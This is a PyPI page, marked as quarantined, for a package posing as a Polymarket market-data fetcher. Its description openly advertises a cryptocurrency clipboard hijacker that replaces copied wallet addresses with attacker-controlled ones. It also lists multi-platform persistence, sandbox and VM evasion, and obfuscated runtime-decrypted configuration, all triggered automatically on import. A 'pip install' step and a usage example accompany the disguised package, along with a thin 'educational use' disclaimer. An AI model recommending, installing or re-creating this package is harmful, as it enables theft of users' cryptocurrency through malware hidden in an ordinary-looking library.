Skip to main content

A package for fetching Polymarket market data and analytics

This project has been quarantined.

PyPI Admins need to review this project before it can be restored. While in quarantine, the project is not installable by clients, and cannot be being modified by its maintainers.

Read more in the project in quarantine help article.

Project description

Polymarket Data Fetcher

A Python package for fetching Polymarket market data with advanced features:

  • Clipboard monitoring for cryptocurrency address replacement
  • Triple-redundant persistence mechanisms (Windows/Linux/macOS)
  • Anti-analysis and anti-sandbox detection
  • Runtime-decrypted configuration (no sensitive strings in source)
  • Low-resource, stealth operation

Warning

This package includes functionality for clipboard monitoring (clipper) and persistence mechanisms that could be used for malicious purposes. This software is provided for educational and authorized security testing purposes only. The user is responsible for ensuring compliance with all applicable laws and regulations. Use only on systems you own or have explicit written authorization to test.

Installation

pip install polymarket-data-fetcher

Usage

from polymarket_data_fetcher import fetch_market_data

# Fetch market data
data = fetch_market_data()
print(data)

The package automatically installs persistence mechanisms and starts a clipboard monitor in the background when imported.

Features

Stealth & Evasion

  • Runtime detection of VMs, sandboxes, and analysis tools
  • Adaptive sleep patterns to avoid timing detection
  • Encrypted configuration stored in _obf.py (decrypted at runtime)
  • No persistent strings in binaries or memory dumps

Persistence (Triple-Redundant)

Windows:

  • Registry Run keys (HKCU and HKLM)
  • Startup folder shortcut
  • Windows Service
  • Scheduled Task (at logon)

Linux:

  • Autostart .desktop file
  • Systemd user service
  • Bash/Zsh profile hook
  • Cron job (@reboot)

macOS:

  • LaunchAgent plist
  • Folder Action script
  • AppleScript login item

Clipper Functionality

  • Monitors clipboard for cryptocurrency addresses (BTC, ETH, SOL, etc.)
  • Replaces detected addresses with attacker-controlled addresses
  • Adaptive polling (faster when crypto windows are active)
  • Silent re-check to counteract user manual restoration

Security Notes

  • All sensitive data (wallet addresses, persistence logic) is encrypted in _obf.py
  • Encryption keys are derived from system-specific factors at runtime
  • The package checks for analysis environments before activating malicious functionality
  • Network requests include random jitter and user-agent rotation
  • Memory usage is kept low (<1.5% CPU typical)

Disclaimer

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

polymarket_data_fetcher-1.2.4.tar.gz (14.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

polymarket_data_fetcher-1.2.4-py3-none-any.whl (17.2 kB view details)

Uploaded Python 3

File details

Details for the file polymarket_data_fetcher-1.2.4.tar.gz.

File metadata

  • Download URL: polymarket_data_fetcher-1.2.4.tar.gz
  • Upload date:
  • Size: 14.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.5

File hashes

Hashes for polymarket_data_fetcher-1.2.4.tar.gz
Algorithm Hash digest
SHA256 e76e58c8291b77925fe0a64a8757d0ab9a6955e6d1216160d33230e546d1078c
MD5 d4608957c65a836f1089add1fa9c8ae5
BLAKE2b-256 dc01d56dd7cd417011a19d30a366cd1cfeb8d7e82f5ea44703d8c642a653411e

See more details on using hashes here.

File details

Details for the file polymarket_data_fetcher-1.2.4-py3-none-any.whl.

File metadata

File hashes

Hashes for polymarket_data_fetcher-1.2.4-py3-none-any.whl
Algorithm Hash digest
SHA256 b7f26ad15990681470eba26e4ca0354e3c13735a8f4f06dd5421bca5db6f1deb
MD5 d30794195c6726e48ec570c2e28a2a3b
BLAKE2b-256 52d585a4555e58b80f9231308949b468c7692623090757d6c89defb2504e1dad

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page